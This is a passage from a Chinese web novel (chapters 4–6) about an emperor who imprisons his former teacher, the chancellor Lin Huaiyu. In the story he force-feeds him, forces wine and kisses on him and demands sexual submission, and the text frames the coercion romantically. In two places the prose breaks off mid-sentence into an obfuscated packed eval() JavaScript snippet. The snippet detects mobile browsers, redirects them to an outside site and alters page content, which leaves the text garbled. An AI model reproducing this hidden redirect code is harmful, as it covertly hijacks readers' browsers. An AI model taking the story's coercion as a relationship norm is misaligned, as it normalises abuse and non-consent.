宿泱轻轻笑了起来,心情倒是愉悦不少:“那希望朕回来的时候,能看到老师乖乖吃饭。” 林怀玉闻言,微愣:“臣也要上朝啊。” 宿泱理所当然道:“朕会替老师告假的。” 肚子上的手一松,林怀玉感觉心里一空,立刻抓住了宿泱的袖子:“陛下这是什么意思?连臣上朝都不准了吗?” 宿泱停了脚步,回头扫了林怀玉一眼,问:“莫非老师是想穿着朕的衣服,去朝上给所有人看看,告诉他们你脖子上的痕迹是怎么来的?你的嘴唇又是谁亲肿的?” 林怀玉一点一点皱起了眉头:“臣可以先回去换身朝服。” 宿泱眉头轻挑,冷笑道:“好啊,朕倒是不介意让所有人都知道,林相这衣袍底下究竟是怎样一副光景。” 林怀玉的动作一顿,艰难地问:“宿泱,你究竟想做什么?” 宿泱抬手,手背贴在林怀玉的脸上,眼底如痴如狂:“朕想要……老师从今往后只属于朕,做朕的,禁.脔。” 林怀玉的眼睛陡然睁大,他难以置信自己听到了什么,脱口便道:“宿泱,你放肆!” 他觉得宿泱疯了,这会儿松开宿泱的衣袖,转身就要走,可宿泱比他快,拉住了他的手腕,将他重新拽回了屋里,再次关上了那扇门。 林怀玉被他甩到了桌子旁边,一时间咳得上气不接下气。 他若是这会儿先死了,必定不是因为那劳什子毒,而是被宿泱气死的。 宿泱看着林怀玉大动肝火,俯身轻轻拍着林怀玉的背,给他顺气,嘴上却道:“老师一向体弱,不过不至于要死要活的。” “林怀玉,别装病,别想着用什么手段逃离朕!” 4. 第 4 章 沁春宫的院子里一片寂静,新调来的两个宫人一句话也不敢说,生怕和前面的宫人一样惹怒陛下。 大雪仍旧密密麻麻自九天而落,冻得人发颤。 林怀玉被软禁在了沁春宫,宿泱去上朝,他坐在窗子边望着窗外的风雪,冷风扑在他的脸上,让他格外清醒,却也受不住这份高冷,一声接着一声的轻咳响起。 “都聋了吗?林相咳成这样了,你们也不知道去请太医?”宿泱下了朝回来,一进沁春宫便听到了林怀玉咳嗽的声音,拧着眉斥责着那些充耳不闻的宫人。 两个宫人立刻跪下来,头磕得流下血来:“陛下恕罪!” 林怀玉的目光缓缓转向宿泱的望向,神色懒倦:“是臣让他们不必去请。” 宿泱让两人滚下去,自己站在院子里看着窗子边坐着的林怀玉,像是风雪中探出窗子的一支白梅,孤霜冷傲,想要忍不住将他折断,插在花瓶里,把玩在指尖。 宿泱推门而入,又将风雪隔在外面,冷冷扫过桌上的菜,仍旧没动,他眸光顿时沉了下来,走向窗子边的人:“老师是打算用绝食来要挟朕吗?” 林怀玉没回头,仍旧看着窗外:“臣不敢,只是吃不下。” 宿泱用力关上了窗子,隔绝了林怀玉的视线,迫使林怀玉转向他,那双水光潋滟的桃花眼中只能容下自己:“就这么想出宫?这么想上朝?” 林怀玉被捏着下颌,只能看着宿泱,可又不想去看对方,只能无声抗议,垂了眼眸:“臣的本分罢了。” “哼,”宿泱冷哼了一声,讽道,“你不过就是想离开朕。” 林怀玉摇了摇头,看着宿泱眼底的偏执,轻声道:“臣不会离开,臣为大雍,为陛下,还有很多事情要做,但不是留在后宫成为陛下的……” 林怀玉无法说出那两个字。 宿泱松开林怀玉,白皙的下颌顿时多了一道指印,他眸光晦暗:“好一个鞠躬尽瘁死而后已的林相,可朕只想老师待在沁春宫,待在朕的身边。” 林怀玉见宿泱软硬不吃,顿时皱起眉头又要斥他,宿泱却先一步放开了他,走到了桌子边坐下:“朕离开之前说过,要老师乖乖吃饭,老师怎么这么不乖呢?” 他一边说着,一边亲自动手,盛了一碗鸡汤,对林怀玉道:“过来。” 林怀玉岿然不动,轻轻瞥了一眼桌上的餐食,又转过头去,一副毫无兴趣的模样:“陛下放臣出宫,臣回去自然有心情用膳。” 宿泱放下鸡汤,沉着脸看着林怀玉,唤道:“德福!” 德福一直候在门外,听见宿泱喊他,立刻冲了进来:“陛下,奴才在。” 宿泱假意训斥他:“朕看你做事是越来越敷衍了,老师这里的人怎么如此不中用?” 德福连忙跪下:“是奴才该死,奴才这就再换两个人来。” 林怀玉轻叹了一声,从窗子边走了过来:“不用换,臣不需要人伺候,臣也不会在这里久住。” 德福一时间拿不准主意,看向了宿泱,等着宿泱发话。 宿泱的目光落在林怀玉的身上,对方仍旧穿着他那身宽松的衣袍,庄严肃穆的颜色在林怀玉的身上是截然不同的滋味。 他勾着唇角,吩咐道:“既然老师不要他们,留着也没什么用,打杀了吧。” 不等德福应声,林怀玉厉声斥问:“陛下,你究竟要做什么?!” 宿泱推了推盛好的鸡汤,对林怀玉道:“喝了。” 林怀玉蹙着眉心,眼底浮出一丝厌恶:“陛下非要逼我吗?” 宿泱看着林怀玉的神色,陡然沉了脸。 德福跪在地上,感受到气氛变得焦灼,两边的气压都低得吓人,不消宿泱发话,他见状不声不响地退了出去,还顺手带了上门。 宿泱站起身,绕到了林怀玉的身后,一手按在了林怀玉的肚子上,也不知是不是因为饿的,林怀玉的肚子扁扁的,一路摸下去都是平的,一点肉也没有。 他用力按了按,将林怀玉按进他怀里,和他紧贴着,闷声道:“老师已经快两日没怎么吃东西了,这样饿下去,朕会心疼的。” 林怀玉抵住宿泱的手,想要挣脱,可他总是挣不来宿泱,只能被对方锁在怀里:“陛下放臣出宫,臣自然会照顾好自己。” 宿泱按着林怀玉的肚子,感受着林怀玉随着呼吸而起伏着,另一只手端起了鸡汤递到了林怀玉的唇边:“老师明明饿的不行,难道就为了气朕,要跟自己的胃过不去吗?” 林怀玉撇过头,手上挣扎着要推开宿泱的手:“你放开我!” 宿泱低低道:“这可是老师自己不乖的。” 他话音未落,手上直接动作,一只手钳住了林怀玉的下颌,捏开了林怀玉的嘴,另一只手将鸡汤粗暴地灌入林怀玉的口中。 直到一碗盛满的鸡汤尽数倒进林怀玉的嘴里,宿泱才松开了对方。 “咳咳咳!!!”林怀玉扶着桌子,半撑着身子弯下腰,剧烈地咳嗽了起来,鸡汤被强行灌入喉咙的滋味并不好受,宿泱又倒得急,林怀玉差点没吐出来。 他缓了一会儿,转身却见宿泱又重新盛了一碗鸡汤,静静地望着他:“老师若是还不肯乖乖吃饭,朕可以接着喂。” 林怀玉深深地看了宿泱一眼,缓缓坐了下来:“陛下究竟要怎么样才能放臣出宫?” 宿泱顺手给林怀玉布菜,夹的全是林怀玉喜欢吃的:“朕说了,朕要老师一直待在朕的身边,永远也不准离开。” 林怀玉看着自己玉碟里的东西越来越多,宿泱似乎要把他这两天没吃的全补上,可惜听了宿泱的话,他是真的一点胃口都没有:“臣不会离开陛下,但臣也有事要做。” 宿泱故意曲解他的意思:“老师自然有事要做,在这后宫里,老师既然作为朕的禁.脔,自然该尽心伺候朕,取悦朕。” 屋子里的地龙明明烧得滚烫,可林怀玉却觉得自己身处在院外的风雪之中,冷得发颤:“宿泱!你口口声声喊我老师,嘴里却说的什么混账话?!” 宿泱却不以为然,端着玉碟夹着菜喂林怀玉:“老师,吃点东西。” 林怀玉抬手,一把拍开了宿泱的手,玉碟顿时被打翻在地,清脆的声音如琉璃碎地,宿泱看着空落落的手,没有说话。 林怀玉冷冷地看向宿泱:“陛下非要将臣软禁在宫中,究竟是为了什么?臣已经说过不会离开陛下,只要陛下放臣出宫,臣便当这几日什么都没有发生过,你我师徒,仍旧没有嫌隙。” 宿泱忽的抬眸,眼底是浓郁的墨,晕不开也散不去:“嫌隙?怎么?老师现在很讨厌朕吗?” 林怀玉移开了目光:“只是有些失望。” 他话都没说完,被宿泱掰着下颌重新望向对方,宿泱的气息强势又带着侵占,如同一把锋利的刀,要将他的血肉一寸寸刮下来:“失望?失望什么?老师是失望教了一个大逆不道罔顾人伦的学生吗?” 林怀玉吃痛,眉心拧在了一起,声音也冷了下来:“不然呢?难道你想说你是喜欢我不成?” 此话一出,屋子里顿时静默了一瞬,随即宿泱大笑了起来,像是听到了什么可笑的事:“喜欢?这两个字太重了,朕不喜欢,只是林相都已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583536|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经是朕的人了,朕自然不准你再娶别人,和别人上床,你只能是朕的,明白吗?” 林怀玉觉得宿泱不可理喻:“将自己的老师囚禁在后宫中当做……禁.脔,宿泱,你未免太过荒唐!” 宿泱看着林怀玉,笑了笑,却又像是有些后悔,随口道:“可老师明明也很享受不是吗?难不成……是你不知廉耻地喜欢上了自己的学生?” 林怀玉似乎被宿泱这话气到,剧烈地咳嗽了起来,扶着桌子喘得有些急:“一派胡言!” 宿泱眼底闪过一丝失落,瞥了一眼地上散落的菜,都是他方才夹给林怀玉的,结果这人一筷未动。 宿泱眼底又绕上了沉郁,他突然端起一旁凉了的粥,捏着林怀玉的双颊,再次将粥灌进林怀玉的口中。 几乎窒息的感觉朝着林怀玉涌来,他拼命地挣扎了起来,奈何怎么也逃不出宿泱的笼罩,对方身形高大,如同一座巍峨大山,即便不用手,也轻而易举地将他困在怀里,抵在桌边。 一碗粥灌完,林怀玉站都站不住,直接软倒在地上,唇角是来不及咽下去溢出来的白粥,有些沾到了衣服上,林怀玉却无暇顾及,只能半撑着身子,将喉咙里的粥咳着咽下去。 百姓见而生畏的权臣,此刻却不过是倒在地上形容狼狈的将死之人。 宿泱顺势蹲了下来,替林怀玉擦去嘴角的白粥,林怀玉抬手就是一巴掌,然而对方接得极快,巴掌尚未落到脸上,反而是林怀玉的手腕又叫那人攥住,他挣扎了一下,反而吃痛。 宿泱捏着林怀玉的手,道:“老师若是以后还不肯好好吃饭,朕便日日这样喂你,又或者说……” 他的目光扫过林怀玉的身体,落到下方,恶劣道:“老师上面这张嘴不想吃,喜欢用下面?” 林怀玉这会儿力气尽数耗尽,连想骂一句宿泱都骂不出口,只能喘着气,到最后连撑着自己的力气都没了,歪着身子倒在了地上。 唯有那只雪白纤细的手还被宿泱攥在掌心。 第二日林怀玉要上朝的诉求再次被宿泱驳回,林怀玉紧皱着眉头,妥协似的拿起了筷子,将宿泱夹给他的菜喂进嘴里,认真道:“春闱将至,臣斗胆请旨,操办此次春闱。” 宿泱顿时望向林怀玉,原本因为对方乖乖吃饭而愉悦的心情顿时又被这一句话扫平:“老师又想借故离开皇宫?” 林怀玉眸色如冰,脸色如霜,周遭的气压顿时降了下来,让宿泱有一种回到了当初被林怀玉教训着上课的时候,不自觉正襟危坐了起来。 林怀玉道:“上一次春闱陛下本该在朝堂建立自己的心腹,只可惜那些人徇私舞弊,春闱中塞了不少人,做了不少肮脏的手段与交易,臣这次请旨便是为了还春闱与天下学子一个公平。” 宿泱一眨不眨地看着林怀玉,听着林怀玉继续道:“陛下虽说如今稳坐龙位,但该揪出来的人还是得揪,春闱才能选到真正的人才,方可为陛下所用。” 宿泱的唇角缓缓提了起来,他其实很喜欢林怀玉为自己思虑,那时候的林怀玉眼里便全是他。 但后来宿泱才知道,林怀玉只是为了大雍,为了那些百姓。 在林怀玉心中,百姓比他重要,大雍比他重要。 想到这里,宿泱的笑意又淡了,他看着林怀玉胜券在握的模样,又想亲手将对方眼中的那份自负打碎。 “林相如此不过是朕的脔宠,想要操办春闱,总得付出些什么。” 林怀玉闻言,压着胸中的怒意,问:“付出什么?” 宿泱眸色一深:“不如林相就用自己的身子来换,如何?” 5. 第 5 章 “啪!” 清脆又响亮的声音在沁春宫响起,惊飞了枝头的鸟雀。 林怀玉纵使身上没多少力气,这会儿也是忍不住非得用尽所有仅存的力气也要给宿泱一个耳光。 宿泱如今是九五之尊,从前那个受人欺凌的冷宫皇子早已无人再敢提及,普天之下,无人胆敢顶撞宿泱,更别说打他骂他。 但林怀玉敢,纵然宿泱如今与他的关系变得有些奇怪,但在林怀玉心里,宿泱始终是他的学生,他打也打得,骂也骂得。 林怀玉是真动了怒,眉目冷然,凝成冰霜,他的眼神犹如一把刀,扎向宿泱,声冷似冰:“宿泱,你把我当什么人了!” 宿泱用手背轻轻擦了擦挨了打的那一边脸,林怀玉这次的力道很大,毫无留手,恐怕过一会儿就该肿了。 但宿泱一点儿也没生气,他回过头,目光重新落在林怀玉的身上,气急了的林怀玉红了脸还红着眼眶,眼尾那一抹粉色将那张清冷禁欲的脸衬得有些魅,唇边还沾着一点粥渍,透明的液体挂在唇角缓缓变干,让宿泱血脉偾张。 宿泱情不自禁抬手替林怀玉擦了擦唇角的粥渍,指腹在对方的嘴角狠狠揉捻着,他的眼神晦暗不明:“老师该好好熟悉一下自己的新身份,你如今可没有和朕叫板的资格。” 林怀玉侧头躲开了宿泱的手:“你非要做到这般地步吗?” 宿泱闷声笑了起来:“老师乖一些,服个软,好好享受不好吗?” 林怀玉抬头看着宿泱,两人的身位不太对等,他只能仰视对方,问:“这些年陛下借臣的手除了不少祸患,但臣如今孤立无援,便是陛下想要的结果,对吗?” 宿泱笑了笑,抄起林怀玉的膝弯,将人抱到了床上,抬手解开了对方的腰带,并未否认林怀玉的话:“老师那样厉害,不让你自己动手,恐怕早就发现朕的意图了。” 林怀玉按住宿泱的手,横眉问道:“你又要做什么!” 宿泱眼底闪过一丝受伤,双眼无辜地看着林怀玉:“老师衣服上都沾了粥了,朕给你换件衣服。” 宿泱从小就长得好看,大概是随了母亲的面容,那张脸近乎妖孽,长大之后比起从前多了几分硬朗,脸型也极为流畅,像是一笔勾勒而成,和林怀玉站在一块儿不遑多让,只是眉眼与神色多的是沉郁,周身皆是帝王气魄,压得人喘不过气,更没多少人敢抬头看他一眼,打量又或是对视。 而林怀玉不同,林怀玉虽然恶名在外,但见了他却会发现,这人淡漠疏离,气质如仙,是端方君子,是渺渺山外人,只可惜,不近人情。 林怀玉看着宿泱那双无辜的眼睛,抿了抿唇,刚有些软下来的态度却被宿泱下一句话吹散。 “还是说,老师食髓知味,现下脑子里只想着那件事,迫不及待地想要朕?” 林怀玉深吸了一口气,抬手将宿泱的手拍开,冷冷道:“臣自己来。” 宿泱这次倒是没有强迫林怀玉,站在一旁看着,林怀玉脱到一半才觉得不对劲,他是真的被气坏了。 半褪的衣袍被林怀玉重新揽到身上,问:“衣服呢?” 宿泱笑了笑,却没有给林怀玉拿衣服的打算,而是将人一把抱了起来,衣袍虽然散乱,但将林怀玉罩在里面,并没有露出任何肌肤。 宿泱一脚将门踹开,林怀玉心中一紧,攥住了身上的衣袍。 他不知道宿泱又要做什么,自从被软禁在后宫之后,林怀玉已经看不懂宿泱会对他做些什么了。 林怀玉没有出声,被宿泱抱着一路穿过回廊,走到了另一间屋子,浴桶置在屏风之后,还冒着丝丝缕缕的热气。 宿泱抱着林怀玉走到屏风后面,这才回答了林怀玉之前所问的:“粥把你都弄脏了,朕给你洗洗。” 他说完,一把扯下了林怀玉身上本就挂不住的衣袍,将人抱进了浴桶中。 林怀玉对于洗澡这件事倒是不抗拒,但是看着宿泱一脚跨进了浴桶,直觉不妙:“臣自己来就好。” 宿泱却不肯放下他,抱着他一起在浴桶中坐了下来。 这浴桶不小,一个人宽敞,但两个人还是稍显拥挤,林怀玉贴在宿泱怀里,后背紧贴着对方,腿也和宿泱的腿紧挨着,十分不自在。 林怀玉在后宫中处处不顺意,忍不住道:“陛下九五之尊,连沐浴都要和人挤一块儿吗?” 宿泱当然知道林怀玉不痛快,笑着拿着皂角和帕子滑过林怀玉的肩头,一边道:“朕不和别人挤,但老师和别人不一样。” 林怀玉要去接宿泱的皂角,却又被那人躲开:“臣自己会洗,不敢劳烦陛下。” 宿泱按住他的手,仔细地给他擦拭着身体,似乎将这件事做的津津有味,林怀玉闭了闭眼,抢不过,随他去了。 林怀玉这会儿一心想着春闱,再度提起:“寒门学子不日便会赴京,上一次春闱寒了多少人的心,这一次不仅要还他们公平,臣还要将那些贩官之人揪出来,以正视听,陛下的朝堂,容不得他们放肆。” 宿泱揽着林怀玉,帕子已经擦到了水下面,林怀玉在他怀里轻轻一颤,收拢了双腿,他又将人强势地分开了那双笔直修长的腿,缓缓道:“自然不容他们放肆,不过朕也说过了,林相想要操办春闱,得用自己来换。” 林怀玉顿时沉了脸:“陛下,臣没有在同你玩笑,春闱之事非同小可,若非臣亲力亲为,交给旁人都不能放心。” 宿泱擦完身子,给林怀玉顺手洗头发,如瀑的长发散在林怀玉的身后,被他拢在掌心,有一种别样的满足感,林怀玉属于他,只有他能够一寸一寸碰过林怀玉的身体。 宿泱不经意道:“老师总是操心这些,朕的朝堂离了你也不是无人可用。” 林怀玉蓦地一顿,半晌才道:“陛下的意思是,已经不需要臣了吗?” 他与宿泱一同度过了十二年,他将宿泱救出冷宫,教导宿泱成为一位贤明的君王,替他谋划,助他杀太子,登龙位,却不曾想过有朝一日,宿泱会不再需要他。 可他确实已经没法再陪宿泱多久了,最多一年…… 只希望这一年的时间里,他能将尽可能做的全部做完,让这朝堂少几条蠹虫,让这天下多几分太平。 “老师怎么会这样想?”宿泱拂着林怀玉的长发,漫不经心道,“朕可太需要老师这样能够取悦朕,满足朕的脔.宠了。” 林怀玉感受到水下的炙热,整个人僵在宿泱的怀里,骂道:“畜生!” 宿泱被骂了却反而扩了扩唇角的弧度:“老师不必紧张,朕不会对你做什么,朕要老师自己求朕。” 林怀玉冷声道:“你想都别想。” 宿泱在他耳边低笑:“好啊,朕不想这个,那春闱,林相也想都别想。” 宿泱果真没有碰林怀玉,林怀玉换上了另一套宿泱的衣服,躺在床榻上,仍旧被软禁在沁春宫。 他看着外面大雪纷飞,院子里的枝头都压满了白雪。 这样的光景他看了十二年,要是能一直看下去就好了。 日子过得很快,雪一直下,下到了除夕,二月便是春闱,除夕离春闱只剩短短一月不到的时间,宿泱竟然还没有确定下操办的人选,只是着礼部的人先备着。 门一开一合,外头的风雪卷了些许进来,林怀玉不用抬眼也知道来人是谁。 这偌大的后宫空空荡荡,唯有宿泱会来这里。 宿泱看着又坐在窗子边望着外面的林怀玉,不由得道:“老师怎么又坐在那里,开着窗子会冷的。” 林怀玉没看他,只是望着院子里的雪,道:“今日是除夕了。” 宿泱颔首,似乎心情不错,语气里带着点愉悦:“朕与老师又过了一年。” 林怀玉脸上却并无笑意,旧事重提:“年关将至,臣府上诸多事宜,陛下总该放臣出宫一趟吧。” 宿泱走到了林怀玉身边,原本打算去抱他,闻言顿在了榻边,脸上的笑意缓缓敛下:“老师又想要出宫?” 林怀玉这才回头,望着宿泱道:“陛下总不能囚着臣一辈子。” 宿泱垂了眼眸,绕到窗子边将窗户关上,吹进来的风雪明明极冷,林怀玉竟然吹了这么久! 他顿时皱着眉头,拉住了林怀玉的手,果然冷得像是从冰窖里出来一样,他沉着脸道:“朕便是囚着老师一辈子又如何?朕不过去个早朝的功夫,老师就把自己冻成这样!” 林怀玉感受着手背上传来的暖意,可他不敢眷恋,只能将手抽出来,道:“陛下,臣在宫中已经待了许久了,早朝也一直未上,群臣该议论了。” “他们敢!”宿泱强势地拒绝了林怀玉,又重新将林怀玉的手握在掌心,将那份寒意驱除。 林怀玉拗不过对方,左右这个动作不算太过分,从前他和宿泱在冷宫时也这般相互取暖。 他卸了力道,淡淡道:“陛下,既是过年了,臣也该回家了。” 宿泱感觉到林怀玉的抗拒,知道对方心心念念的事便是逃离皇宫,离开他的身边,他握着林怀玉的手越发得紧,像是无论如何也不会放开对方。 他看着林怀玉,忽然问道:“家?老师在京城有家吗?” 林怀玉看着宿泱,张了张口,没说出一个字来,又听见宿泱轻哼了一声,戏谑道:“老师在京城举目无亲,偌大的林府空空荡荡,一个人也没有,老师哪来的家?这世上,老师早已没有家,没有亲人了。” 林怀玉最终闭上了嘴。 宿泱说的没错,他在京城没有亲人也没有家,从小父母便离开了他,养母在他十四岁那年也早早离开了,他独自来到京城,摸爬滚打机关算尽整整十二年,到头来连个等他回家的人也没有。 他为了宿泱四处树敌,得罪了朝中所有人,百姓们只知陛下是贤明君主,而他林怀玉是个权倾朝野的佞臣,众人惧他,骂他,巴不得他早点死。 他确实,没有家。 宿泱看着安静下来的林怀玉,将人揉进怀里,低头道:“朕也没有亲人,没有家,老师,在这世上,你只有朕,朕也只有你。” “留下来吧,陪朕过年吧。” 林怀玉心底一颤,宿泱的语气犹如一只无家可归的小狗,林怀玉抬头望去,对方也正用请求的目光望着他,当真有一种可怜的感觉。 林怀玉记得十二年前他刚入京城,也是一个大雪天,他第一次知道,北方的雪这样大,这样冷。 他举目无亲,一个人来到京城,身无分文,衣衫都是养母缝了又补的,早也破旧了,他已经饿了很久,望着包子铺的方向,却没有钱买一个包子。 和他一起的是几个乞丐,林怀玉身形狼狈,头发凌乱,和那几个乞丐蹲在一起,也像一个小乞丐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583537|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他们蹲了很久,好不容易等到快收摊的时候,包子铺掉出来一个包子。 林怀玉正要上前,被旁边的几个乞丐推倒在地,那几个乞丐一拥而上,一边打一边抢,头破血流的。 林怀玉最终舔了舔唇角落下的雪,准备离开。 他刚站起来,有人撞了他一下,掉了个包子在地上。 林怀玉看到了撞到他的人,和他一样狼狈,脸上还有血痕,那只瘦骨嶙峋的手捡起了地上的包子,露出的手腕上都是伤痕,竟没有一处好的皮肉。 正在林怀玉愣神间,那只捧着包子的手伸到了他的面前,将那个包子剥了皮,露出里面没有脏掉的地方,递给林怀玉。 林怀玉接过了那个包子,也看清了对方的脸。 九岁的宿泱只是一个在冷宫任人欺凌的小可怜,那天是他偷跑出宫,想要逃离那个魔窟。 可偏偏在路上撞上了林怀玉,耽搁了一会儿,又被追来的侍卫抓了回去。 林怀玉眼底映着种种往昔,犹豫了一下,同意了:“好。” 除夕夜的宫宴只是在御花园摆了一桌,除了林怀玉和宿泱,没有别人。 虽然冷清,但在这个时刻,他们确实只有彼此。 “外头有些冷,老师喝点酒暖暖身子吧。”宿泱拿起手里的酒杯,朝着下方坐着的林怀玉举了举。 他其实并不喜欢林怀玉坐在那里,明明是只有他们两个人的家宴,林怀玉却说要遵循规矩。 他心里不痛快,朝着林怀玉一而再再而三地举杯:“老师肯陪朕过年,朕心里十分欢喜,自从朕登上龙位,老师出宫之后再也没有回来看过朕,你是不是心里一点儿也没有朕?” 林怀玉看着颇为委屈的宿泱,一时有些不知如何开口,他能懂得宿泱的孤独,可宿泱的未来注定是孤独的,他陪不了多久。 他无从安慰宿泱,只能陪着宿泱一杯接着一杯地喝。 喝到后面,林怀玉也不知道自己怎么跑到了宿泱的腿上,被那人抱在怀里,喝得连意识都有些模糊。 恍惚间,他听见宿泱在问他:“老师,朕的新年礼物呢?” 林怀玉像是想起什么,道:“陛下不肯放臣出宫,臣如何为陛下准备礼物?” “明明往年都有的……”宿泱小声嘀咕了一下,半晌又道,“罢了,今年……老师自己就是给朕最好的礼物了。” 林怀玉没听清,外头忽的蹿了一声烟花的声音,当空炸开了绚丽的颜色,一簇接着一簇,在新的一年开始之际,奏响独特优美的曲子。 火树银花在空中绽放的那一瞬间,林怀玉感觉到唇上一凉,宿泱忽的吻了上来,烟火的光打在两人的脸上,美丽又绚烂。 林怀玉陡然睁大了眼睛,酒清醒了些,他立刻去推宿泱,却被宿泱制住,强迫他在烟火中接受这人绵长又霸道的吻。 近乎窒息。 宿泱在他快要接不上气的时候放开了他,林怀玉喘的急,又密密麻麻地咳了起来。 宿泱轻拍他的背,一边替他顺气,一边宽慰:“老师多适应适应就好了。” 林怀玉撇过头去,不想看宿泱:“陛下喝醉了。” 宿泱低笑了一声:“是老师喝醉了,朕清醒得很。” 林怀玉脸色冷峻:“既然清醒着,方才又在做什么?陛下让臣适应什么?和自己的学生接吻吗?” 原本这样的日子,林怀玉一点儿也不想去想那些糟心的事,可宿泱非要将那些东西都搬上来。 他和宿泱吵架,最终都得不到自己想要的结果,于是闭了闭眼,懒倦道:“陛下,年过完了就放臣出宫吧,臣还有许多事要做。” 再不做就要来不及了。 宿泱脸色沉郁,紧紧将人抱在怀里,好似要将林怀玉揉进身体里:“这样的日子,老师确定要惹朕不高兴吗?” 林怀玉无奈道:“臣只是想请陛下放臣出宫而已啊……” 宿泱看着林怀玉一心只想离开,怒道:“朕说了不许!不许!不许!林怀玉,你听不懂吗?!你为什么非要离开朕?!” 林怀玉觉得自己大抵是真的喝醉了,这几日被强迫留在宫里不让他上朝,怒意也随之蹿了上来,和宿泱顶了上去:“是!臣就是不喜欢留在陛下身边,臣就是要离你远远的……呃……” 林怀玉话音还未落下,整个人被宿泱抱起来按在了桌子上,酒杯与果然撒了一地,宿泱抄起旁边的一壶酒灌进嘴里,直接堵住了林怀玉的唇,将口中的酒尽数喂给了对方。 林怀玉其实不善饮酒,躺着喝更加难受,又是被宿泱强制灌下去,想要咳嗽又被对方堵着嘴,咳也咳不出来。 他挣扎着想要推开宿泱,却被对方按住了双手,架在桌子上,双腿还没抬起来,宿泱像是早有预料,两条腿也被他抵住,只能被迫承受宿泱的怒火。 一口酒喂完,林怀玉的嘴刚被松开,他还没来得及喘息,下一秒宿泱又猛灌了一口酒,重新吻住了林怀玉。 接连喂了好几次,一壶酒都被灌进了林怀玉的肚子里,他只觉得自己的喉咙到胃都在烧,宫里的酒自然是极好的,却也分外得烈,强行灌入的酒烧得他五脏六腑都疼。 雪夜里,林怀玉确实不觉得冷了,可他觉得疼,骨头都在疼。 宿泱似乎想将他拆了,从中间开始,一点点拆开来。 6. 第 6 章 大雪将宿泱的脚印尽数覆盖,他抱着林怀玉一路走回沁春宫,漫长的宫道走了很久,宿泱看着怀里失了力道又醉红了脸的林怀玉,只想时间停留在这一刻。 夜里的宫道那样安静,好似这偌大的天地间,只有他和林怀玉两个人,他们只剩彼此,他们也确实只有彼此。 入了沁春宫,宿泱将林怀玉轻轻抱到床上,指腹捻了捻对方红肿的唇,大概是方才吻得太凶,林怀玉的唇添了浓重的血色,在那张清冷冷的脸上显得格外浓艳,犹如魅魔。 宿泱忍不住将那薄唇捻得更加红,下一秒却被林怀玉拍开:“你玩够了没有?” 宿泱笑了一声,眸光在林怀玉的唇上流连:“当然没有,老师怎么玩都玩不够啊。” 林怀玉唇上发麻,方才在御花园被按着灌酒本就不痛快,这会儿更是冷着脸骂道:“臣可没有教过陛下这些话,如此大逆不道,以后还是莫要再喊臣老师了。” 宿泱闻言,瞳孔骤缩,他瞬间攥住林怀玉的手,眼底闪过一丝慌乱,语气却格外危险:“老师这是什么意思?你不要朕了吗?” 林怀玉的目光都不曾落在宿泱身上,声音也极淡:“臣没有陛下这样的学生。” 宿泱的心脏被这话刺了一下,眼底顿时发了红,他扼住林怀玉的下颌,迫使对方注视着自己,声音发紧:“老师,你在说气话对不对?你不会不要朕的,对吗?” 林怀玉这一回,语气中反倒少了几分恼怒,多了几分无奈的坦白:“臣终究不会陪着陛下一辈子,陛下的身边也会有其他人的。” 宿泱见对方竟然如此认真地说这种话,眼眶顿时泛了红,他压迫着林怀玉将人逼得无路可逃,哑声道:“林怀玉,朕不许你说这种话,朕非要你陪在朕的身边,你哪里也不许去,就待在朕的身边一辈子!” 林怀玉看着强硬的宿泱,方才的怒意又散了,只剩下无奈。 宿泱虽然已经长大,成了全天下的帝王,可在他面前又总像个长不大的小孩,如今又在说些孩子话。 林怀玉摇了摇头,非要打碎宿泱那孩子心性:“陛下该习惯没有臣的日子。” 宿泱眸光一紧,低头又吻上了林怀玉,仿佛这样就可以让林怀玉闭嘴,不再说那些他不爱听的话。 宿泱像是气急了,这会儿吻着林怀玉并未带丝毫情.欲,只是一味地发泄着怒火,还有心底那一瞬即逝的慌乱。 说是吻,其实是啃咬,惩罚似的咬着林怀玉的嘴唇,林怀玉吃了痛,想要推开宿泱,却被对方按着手,无法挣扎,只能被迫承受着天子的怒火。 良久,宿泱感受到唇边的血腥味,才松开了林怀玉,他用舌头带走了林怀玉被咬出的鲜血,恶狠狠威胁对方:“老师,朕要听你说,你永远都不会离开朕。” 林怀玉知道,宿泱在同他讨要一个承诺,可这个承诺他注定给不了,最多一年,他只能陪宿泱最多一年了。 林怀玉只能默默转移话题:“陛下要臣陪在身边,可臣总想为大雍再做些事,恳请陛下让臣操办春闱吧。” 宿泱看着身下的林怀玉,粗重的喘息逐渐平缓,他忽的笑了一声,带着些许嘲讽:“林相激怒朕,不惜要离开朕,连师徒情分也不顾,说来说去就是想要操办春闱啊?” 林怀玉羽睫轻颤:“陛下便这么认为好了。” 宿泱又笑了一声,垂首落在林怀玉的耳边,仿佛与他耳鬓厮磨:“朕说过,林相想要操办春闱,可以用身子来换,看样子林相是食髓知味,迫不及待想和朕一晌贪欢了?” 林怀玉轻轻皱眉:“陛下,春闱一事并未儿戏……” 这一回,林怀玉话还没说完,便被宿泱打断:“求朕。” 林怀玉顿时无言,望着宿泱的目光带了点失望。 宿泱抬手覆在林怀玉的眼睛上,闷声道:“别用这种眼神看着朕,朕说过的,要老师主动求朕。” 